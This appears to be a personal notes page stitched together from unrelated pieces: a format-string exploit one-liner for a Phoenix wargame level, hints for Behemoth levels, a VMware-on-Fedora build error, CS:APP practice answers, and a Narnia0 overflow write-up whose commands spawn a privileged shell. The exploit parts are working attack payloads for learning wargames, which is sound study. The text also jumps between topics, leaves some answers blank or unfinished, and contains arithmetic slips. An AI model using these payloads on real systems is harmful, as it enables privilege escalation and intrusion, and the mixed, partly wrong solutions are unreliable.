python -c 'import sys; sys.stdout.write("%x"*17 + "%25560x" + "A"*3 + "%hn" + "%5120x" + "%hn" + "\x92\x0a\x60\x00\x00\x00\x00\x00" + "A"*8 +"\x90\x0a\x60\x00\x00\x00\x00\x00")' | /opt/phoenix/amd64/format-three

Written all by myself

it first writes to the high two bytes then to the lowest two bytes because the hex in the high two bytes are smaller than the lowest two bytes.

       If the style using '$' is used, it must be used throughout for all
       conversions taking an argument and all width and precision
       arguments, but it may be mixed with "%%" formats, which do not
       consume an argument.  There may be no gaps in the numbers of
       arguments specified using '$'; for example, if arguments 1 and 3
       are specified, argument 2 must also be specified somewhere in the
       format string.

Please refer to the manpage of printf.

Behemoth0

The commnad strings show a bunch of strings that look like the answer to this problem, however these are all meant to deceive you. Set a breakpoint at the function strcmp to see the actual string your input is being compared to.

Behemoth1

Our shellcode is 33 bytes and the buffer 68 bytes is too small for a reliable exploit; the remaining space 35 bytes is not enough to be used as a nop sled. We have to utilize the environment variable to overcome this space problem. Save your nop slide and shellcode in an environment variable and jump to the address of the nop sled.

I was trying to run Vmware Workstation Pro 17 after updating to Fedora 6.8.7-300.fc40.x86_64 and it failed. Vmware spat out a log for why Vmware failed: vmware-72431.log. The crucial part of this log is the compile error:

2024-04-27T06:18:06.233Z In(05) host-72431 ./arch/x86/include/asm/timex.h:12:24: error: implicit declaration of function ‘random_get_entropy_fallback’; did you mean ‘random_get_entropy’? [-Wimplicit-function-declaration]
2024-04-27T06:18:06.233Z In(05) host-72431    12 |                 return random_get_entropy_fallback();
2024-04-27T06:18:06.233Z In(05) host-72431       |                        ^~~~~~~~~~~~~~~~~~~~~~~~~~~
2024-04-27T06:18:06.233Z In(05) host-72431       |                        random_get_entropy

Solution

Refer to Fedora Project

\[\begin{align}S = \frac{1}{(1-\alpha)+\alpha/k} && \text{(Amdahl’s Law)} \end{align}\]

Practice Problem 1.1

A. It takes 25 hours to travel from Boise to Minneapolis and travelling through Montana takes 20 hours. Thus \(\alpha = \frac{\text{20hr}}{\text{25hr}} = 0.6\). The average speed improved from \(\text{100km/hr}\) to \(\text{150km/hr}\). Thus, \(k=\frac{\text{150km/hr}}{\text{100km/hr}}=1.5\). By Amdahl’s law, \(S=\frac{1}{(1-0.6 + 0.6/1.5)}=1.25\).

B. If we rearrange Amdhal’s law for \(k\), we get \[k=\frac{\alpha S}{1+S(\alpha-1)}\]

Let \(v\) represent the speed at which the vehicle travels through Montana. Then, \[\alpha = \frac{\text{1500km}/v + (\text{1000km}/ \text{100km/hr})}{\text{25hr}} \]. Given \(S = 1.67\), we have \[\frac{v}{100} = \frac{1.67(\frac{\text{10hr}\cdot v + \text{1500km}}{\text{25hr}\cdot v})} {1 + 1.67(\frac{\text{(10hr)}\cdot v + 1500km}{\text{25hr}\cdot v}-1)}\]. Thus, \(v=\text{305.56km/hr}\)

Practice Problem 1.2

Given \(\alpha=0.9\) and \(S=4\), we have to improve 90% of this machine by a factor of \(k=\frac{(0.9)(0.4)}{1+4\cdot (0.9-1)} = 6\)

Chapter 2

Practice Problem 2.1

A. \( (\text{0010 0101 1011 1001 1101 0010})_{2} \)

B. \( (\text{AE49})_{16}\)

C. \( (\text{1010 1000 1011 0011 1101})_2 \)

D. \( (\text{322D96})_{16} \)

Practice Problem 2.2

Practice Problem 2.3

Practice Problem 2.4

A. 0x6061

B. 0x603C

C. 0x607c

D. 0x9c

Practice Problem 2.5

A. Little endian: 0x78 Big endian: 0x12 B. Little endian: 0x7856 Big endian: 0x1234 C. Little endian: 0x785634 Big endian: 0x123456

Practice Problem 2.6

A. \(\begin{align} \text{0x0027C8F8 = 0000 0000 0010 0111 1100 1000 1111 1000} \\ \text{0x4A1F23E0 = 0100 1010 0001 1111 0010 0011 1110 0000}\end{align}\)

B. \(\begin{align}\text{0x0027c8f8 = 0000 0000 0010} \textbf{ 0111 1100 1000 1111 1000} \\ \text{0x4A1F23E0} \gg \text{2 = 0001 0010 1000} \textbf{ 0111 1100 1000 1111 1000} && \text{(20 bits)}\end{align}\)
C. See 2.6 B

Practice Problem 2.7

\(\text{0x7271706F6E6D}\)

Practice Problem 2.8

Practice Problem 2.9

A.

B.

\(\begin{align} \text{Blue} | \text{Green} &= \text{Cyan} \\ \text{Yellow} \& \text{Cyan} &= \text{Blue} \\ \text{Red}^\widehat{} \text{Magenta} &= \text{Blue} \end{align} \)

Practice Problem 2.10

Practice Problem 2.11

A. \(\lceil{\frac{2k+1}{2}}\rceil\)

B. a[first] and a[last] point to the same variable in the last iteration when cnt is odd. The function inplace_swap xor these two variables however since they point to the same number, the operation evaluates to zero.

C.

    for (first = 0, last=cnt-1;
        first < last;
        first++, last--)

Practice Problem 2.12

A. x &= 0xFF

B. x ^= ~0xFF

C. x |= 0xFF

Practice Problem 2.13

/* Declarations of functions implementing operations bis and bic */
int bis(int x, int m);
int bic(int x, int m);
/* Compute x|y using only calls to functions bis and bic */
int bool_or(int x, int y) {
    int result = bis(x, y);
    return result;
}
/* Compute x^y using only calls to functions bis and bic */
int bool_xor(int x, int y) {
    int result = /* left to reader to solve (I couldn't do it myself) */;
    return result;
}

Practice Problem 2.14

\(\begin{align} a &= 0101\ 0101 = 0x55\\ b &= 0100\ 0110 = 0x46\end{align}\)

Skipped to Problem 2.45 due to lack of interest and knowing most of the content.

Practice Problem 2.45

You get the point

Practice Problem 2.46

A.

\(\begin{align}0.1 &= 0.0001\ 1001\ 1001\ 1001\ 1001\ 1001\ [1001]\\x &= 0.0001\ 1001\ 1001\ 1001\ 1001\ 0100\\0.1-x &= 0.0000\ 0000\ 0000\ 0000\ 0000\ 0101\ [1001]\end{align}\)

B. \(\begin{align} 0.1-x &= 2^{-22} + 2^{-24} + [(2^{-25} + 2^{-28}) + (2^{-29} + 2^{-32}) + …] \\ &= 2^{-22} + 2^{-24} + \sum_{i=0}^{\infty} (2^{-25-4i} + 2^{-28-4i})\\ &= 2^{-22} + 2^{-24} + \frac{1}{5} \cdot 2^{-32} & \text{Simplify the sum and apply geometric series formula}\\ &= 2^{-22}(1+2^{-2}+\frac{2^{-10}}{5})\\ &= 2^{-22}(\frac{6401}{5120}) \\ &= 2.9806979\cdot 10^{-7}\end{align}\)

C.

\(\text{100hr} = 3600000 \cdot \text{0.1s} = 3600000\cdot (0.000110011[0011]\cdots)_2\\ \) \(3600000\cdot 0.1\text{s} - 3600000\cdot (x)\text{s} = 3600000(0.1\text{s}-(x)s)=3600000\cdot 2.9806979\cdot 10^{-7}\text{s} = 1.073051244\text{s}\)

D.

For \(x\) such that \(\text{TMin} \leq x \leq \text{TMax}\) \[B2U_{w}(T2B_{w}(x)) = T2U_{w}(x) = x+x_{w-1}2^{w}\]

Truncation of an unsigned number \[B2U_k([x_{k-1}, x_{k-2}, \ldots, x_{0}]) = B2U_w([x_{w-1}, x_{w-2}, \ldots, x_0])\mod 2^k\] Truncation of a two’s-complement number \[B2U_k([x_{k-1}, x_{k-2}, \ldots, x_{0}]) = U2T_k(B2U_w([x_{w-1}, x_{w-2}, \ldots, x_0])\mod 2^k)\]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#include <stdio.h>

#include <stdlib.h>


int main(){
    long val=0x41414141;
    char buf[20];

    printf("Correct val's value from 0x41414141 -> 0xdeadbeef!\n");
    printf("Here is your chance: ");
    scanf("%24s",&buf);

    printf("buf: %s\n",buf);
    printf("val: 0x%08x\n",val);

    if(val==0xdeadbeef){
        setreuid(geteuid(),geteuid());
        system("/bin/sh");
    }
    else {
        printf("WAY OFF!!!!\n");
        exit(1);
    }

    return 0;
}

Behaviour of this code

Initalize a variable of 4 bytes named val with value 0x41414141 and define a buffer of 20 bytes named buf. Write 24 bytes to buf. If val has the value 0xdeadbeef, then escalate priviliege to that of narnia1 and spawn a shell. Otherwise exit the program with error.

Vulnerability

** Key Information **
val:  4 bytes
buf: 20 bytes
scanf(): write 24 bytes into buf.

On line number 10, the scanf function takes in 24 bytes into buf. However, buf is only 20 bytes. The remaining 4 bytes overflow and ovewrite the subsequent variable, val.

Exploitation

1. Fill buf with 20 bytes of characters.
2. Fill the rest with 0xefbeadde(Little Endian).

$ printf "%020x""\xefbeadde" | /narnia/narnia0 

Result:

Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: buf: 00000000000000000000ﾭ�
val: 0xdeadbeef

We changed val to 0xdeadbeef successfully. However, the shell did not spawn. This is because we need to read from the standard input. we use cat to do this.

$ (printf "%020x\xef\xbe\xad\xde"; cat) | ./narnia0
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: buf: 00000000000000000000ﾭ�
val: 0xdeadbeef
whoami
narnia1

Done.